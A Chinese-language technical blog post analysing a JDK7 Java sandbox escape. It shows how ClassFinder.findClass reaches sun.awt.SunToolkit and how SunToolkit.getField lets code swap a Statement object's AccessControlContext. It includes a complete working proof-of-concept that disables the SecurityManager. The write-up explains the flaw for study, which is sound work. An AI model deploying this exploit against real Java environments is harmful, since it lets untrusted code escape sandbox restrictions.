Author:n1nty
原文连接:https://mp.weixin.qq.com/s/T7eaYSKdxJlTrYZSRJKhRw
需要知道的背景知识如下,因为涉及到的东西比较多,所以我这里就不细写了,全都是与 Java 的安全机制有关的,大家可以自行查资料。
简述:在有沙盒的情况下,Java 程序在执行任何敏感操作,比如调用 Runtime.getRuntime().exec 执行外部程序之前,JDK 会先咨询沙盒来确定当前程序是否有权限执行外部程序,如果没有则拒绝执行并出现异常。如果你找到了 JDK 中的某个方法在不咨询沙盒的情况下就可以执行外部程序,那么你就找到了一个新的 CVE。
简单地说,每个 Java 类都有与之对应的一个 ProtectionDomain,这是在 define class 的时候就定义的。ProtectionDomain 里面封装了当前 Java 类所拥有的权限。权限是由 Permission 类来表示的。PermissionCollection/Permissions 代表的是权限的集合。
3. AccessController 与 AccessControlContext,以及 doPrivileged (产生特权域) 及其他几个相似的方法的作用。
AccessControlContext 中封装了当前线程调用栈上所有的方法所属的类的 ProtectionDomain。简单地说,第 1 点说到了 Java 程序在执行敏感操作前会咨询沙盒是否有权限进行执行。具体过程就是,会一层一层往上去遍历 AccessControlContext 中所有的 ProtectionDomain,只有当前调用栈上的所有类都有权限执行这一项操作时,操作才能成功。一旦有任何一个类没有权限,则操作将会失败,会出现异常。特权域是一个例外,在一层层遍历 ProtectionDomain 时,如果发现特权域时,则只要这个特权域所在的类有权限执行此操作,则操作就能成功(简述,不太严谨),剩余的没遍历的 ProtectionDomain 将会被忽略。这个有点类似于 Linux 中的 suid 权限。
以上几点都只是简述,有不少细节没有写,推荐有英文阅读能力朋友看一下 《Inside Java 2 Platform Security, Second Edition》,该书比较详细地讲述了以上几点(看书的时候配合与 JDK 源代码一起看)。
此 CVE 总结:
JDK7 提供的 ClassFinder 类的 findClass 方法写的不严谨(也就是上面第 1 点说的在执行敏感操作时没有咨询沙盒),导致允许我们在沙盒启用的情况下,访问到受限包(restricted package)sun.awt 中的 SunToolkit 类。受限包里的类是供 JDK 自身内部使用的,在启用沙盒的情况下,正常情况下应该是无法访问的。
SunToolkit 类提供了一个名为 getField 的方法,代码如下:
public static Field getField(final Class var0, final String var1) {
return (Field)AccessController.doPrivileged(new PrivilegedAction<Field>() {
public Field run() {
try {
Field var1x = var0.getDeclaredField(var1);
assert var1x != null;
var1x.setAccessible(true);
return var1x;
} catch (SecurityException var2) {
assert false;
} catch (NoSuchFieldException var3) {
assert false;
}
return null;
}
});
}
此方法在特权域里用反射获取了指定类的指定成员,并调用了 setAccessible(true)!这意味着,即使是在有沙盒的情况下,我们也可以通过 SunToolkit.getField 来获取任何类定义的任何成员(因为此特权域是定义在 SunToolkit 类中,此类是 JDK 自带的,拥有所有权限),并通过返回的 Field 来修改任何对象的私有变量甚至是 final 变量。
此 CVE 的 POC 就是利用了这一点进行了沙盒绕过。
具体的边看 POC 边讲,以下是 POC(好像在手机上无法看大段代码?有兴趣的在电脑上看吧):
import com.sun.beans.finder.ClassFinder;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;
/**
* Created by n1nty on 08/08/2017.
*/
public class TestClass {
public static void main(String[] args) throws Exception {
// 安装沙盒
System.setSecurityManager(new SecurityManager());
System.out.println(System.getSecurityManager() == null);
//[1] 通过 ClassFinder.findClass 来获取 sun.awt.SunToolkit 类
Class cls = ClassFinder.findClass("sun.awt.SunToolkit");
System.out.println(cls);
// 利用反射来调用 SunToolkit.getField 方法,并传入 Statement.class 与 "acc" 做为参数
// [2] 目的是得到 Statement 类中名为 acc 的成员变量
Expression expr = new Expression(cls, "getField", new Object[]{Statement.class, "acc"});
expr.execute();
Field f = (Field) expr.getValue();
// 尝试利用反射来调用 System.setSecurityManager(null),重置沙盒
Statement stat = new Statement(System.class, "setSecurityManager", new Object[]{null});
// 创建一个新的 AccessControlContext 对象,里面只放一个封装了 AllPermission 的 ProtectionDomain(表示这个 ProtectionDomain 拥有所有权限)
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
AccessControlContext evilAcc = new AccessControlContext(new ProtectionDomain[]{
new ProtectionDomain(new CodeSource(new URL("file:///testtest"), new Certificate[]{}), permissions)
});
// [3] 利用新创建的 AccessControlContext 对象替换掉 Statement 对象中原有的 AccessControlContext
f.set(stat, evilAcc);
// 重置沙盒
stat.execute();
// 沙盒被重置了
System.out.println(System.getSecurityManager() == null);
}
}
接下来简单解释一下注释中的几个点。
[1] 获取 sun.awt.SunToolkit 类
POC 中用 ClassFinder.findClass 方法来获取该类。前面说过了 sun.awt.SunToolkit 是位于受限包 sun.awt 中的类,那么 ClassFinder.findClass 在有沙盒的情况下是如何绕过这个限制获取到这个类的呢?
正常情况下我们手动加载一个类都是用 ClassLoader.loadClass(String name) 或者 Class.forName(String name) 方法。这两种方法加载类的时候都需要经过 java.lang.SecurityManager#checkPackageAccess 方法,来对受限包的访问进行阻止(这里有一些细节情况在里面,比如涉及到 class loader 的上下级关系,以及当拥有 getClassLoader 权限时可以通过获取 bootstrap classloader 或者 ext classloader 来绕过 checkPackageAccess)。也就是说正常情况下,在沙盒开启的时候我们是无法通过常规手段加载 sun.awt.SunToolkit 类。下面看一下 ClassFinder.findClass 是怎么做到的。
public static Class<?> findClass(String var0) throws ClassNotFoundException {
try {
ClassLoader var1 = Thread.currentThread().getContextClassLoader();
if (var1 == null) {
var1 = ClassLoader.getSystemClassLoader();
}
if (var1 != null) {
return Class.forName(var0, false, var1);
}
} catch (ClassNotFoundException var2) {
;
} catch (SecurityException var3) {
;
}
return Class.forName(var0);
}
重点在最后一行 Class.forName(var0);
ClassFinder.findClass 前面也会尝试常规的加载方式,通过当前线程的 context classloader 来进行加载。如果当前线程没有 context classloader,则尝试利用 system class loader。这个 system class loader 默认就是 sun.misc.Launcher$AppClassLoader 类的对象,它在加载类的时候也会进行 checkPackageAccess 的检查。常规的方式会失败,但是最后那一行 Class.forName(var0) 会成功。为什么我们手动调用 Class.forName 会失败,而它这里调用却会成功呢? 看代码:
public static Class<?> forName(String className)
throws ClassNotFoundException {
return forName0(className, true, ClassLoader.getCallerClassLoader());
}
private static native Class<?> forName0(String name, boolean initialize,
ClassLoader loader)
throws ClassNotFoundException;
forName 直接调用了名为 forName0 的 native 方法。传入 forName0 的第三个 loader 参数将为 null,也就是说 ClassLoader.getCallerClassLoader 返回的是 null。因为 Class.forName 的调用者是 SunToolkit 这个类,此类是 JDK 核心类,是由 bootstrap class loader 加载的,而 bootstrap class loader 往往是由 C++编写的,在 JVM 中不会存在它的对象。也就是说,后面的类加载操作将由 bootstrap class loader 在 JVM 之外执行,Java 的沙盒自然管不到 JVM 之外的事情,所以加载可以成功。而我们在手动调用 Class.forName 的时候,ClassLoader.getCallerClassLoader 返回的不是 null 。
[2] 利用反射获取 Statement 类的 acc 成员
前面说到了我们需要利用 SunToolkit 类中的 getField 方法来获取 Statement 类的 acc。利用常规的反射方法的话,代码应该是:
Method method = cls.getDeclaredMethod("getField", new Class[]{Class.class, String.class});
method.invoke(....)
Class.getDeclaredMethod 或者 Class.getMethod 方法会在内部调用 java.lang.Class#checkMemberAccess ,如下:
private void checkMemberAccess(int which, ClassLoader ccl) {
SecurityManager s = System.getSecurityManager();
if (s != null) {
s.checkMemberAccess(this, which);
ClassLoader cl = getClassLoader0();
if ((ccl != null) && (ccl != cl) &&
((cl == null) || !cl.isAncestor(ccl))) {
String name = this.getName();
int i = name.lastIndexOf('.');
if (i != -1) {
s.checkPackageAccess(name.substring(0, i));
}
}
}
}
ccl 参数代表的是 caller class loader。
常规的反射无法通过这个检查,而通过 Expression 来就可以通过,主要是因为ccl 是 null。我估计 JDK 中有不少只通过 caller class loader 来判断是否有权限进行某项操作的逻辑。
[3] 重设 Statement 对象的 acc
为什么重设了 Statement 的 acc 后就可以重置沙盒了呢?这里要从前面提到过的 AccessController.doPrivileged 的第二个参数说起。先看 Statement.execute 的代码:
public void execute() throws Exception {
invoke();
}
Object invoke() throws Exception {
AccessControlContext acc = this.acc;
if ((acc == null) && (System.getSecurityManager() != null)) {
throw new SecurityException("AccessControlContext is not set");
}
try {
return AccessController.doPrivileged(
new PrivilegedExceptionAction<Object>() {
public Object run() throws Exception {
return invokeInternal();
}
},
acc
);
}
catch (PrivilegedActionException exception) {
throw exception.getException();
}
}
可以看到 execute 调用了 invoke,invoke 通过 doPrivileged 利用特权域来执行 invokeInternal,我们指定的方法最终会在 invokeInternal 里面被反射执行。从抽象的角度来看,这种我们可控的反射 + doPrivileged 的代码使得我们可以以系统类的特权来执行任何操作(Statement 是 JDK 自带的类,拥有所有权限,不明白的话请重新查看我前面简述过的关于 doPrivileged 的作用)。这显然是有问题的,所以 doPrivileged 引入了第二个 AccessControlContext 类型的参数。
Statement 的 acc 声明如下:
private final AccessControlContext acc = AccessController.getContext();
将它做为第二个参数传入 doPrivileged 的作用在于,当执行敏感操作,沙盒对是否有权限进行该操作进行判断的时候,不光会考虑当前线程栈上的所有 ProtectionDomain(它们被封装在一个 AccessControlContext 的对象中),还会考虑额外传入的 AccessControlContext 中的 ProtectionDomain 进行检查,在这里就是 Statement 中的 acc。
acc 的值从 AccessController.getContext 获取,这里面保存了我们当前的调用栈,封装了我们在生成 Statement 对象时栈上所有的类的作用域,这些类往往是我们自己写的。 所以正常情况下,只有当这些类也有权限进行敏感操作的时候,Statement.execute 方法才会成功。
我们的类自然是不可能拥有重置沙盒的权限的,所以这里我们将 Statement 对象中的 acc 替换成了一个封装了 AllPermission 的 acc,达到了欺骗的效果。沙盒在进行检查的时候会认为我们自己的类也拥有所有权限,于是检查通过,成功执行 System.setSecurityManager(null) 重置了沙盒。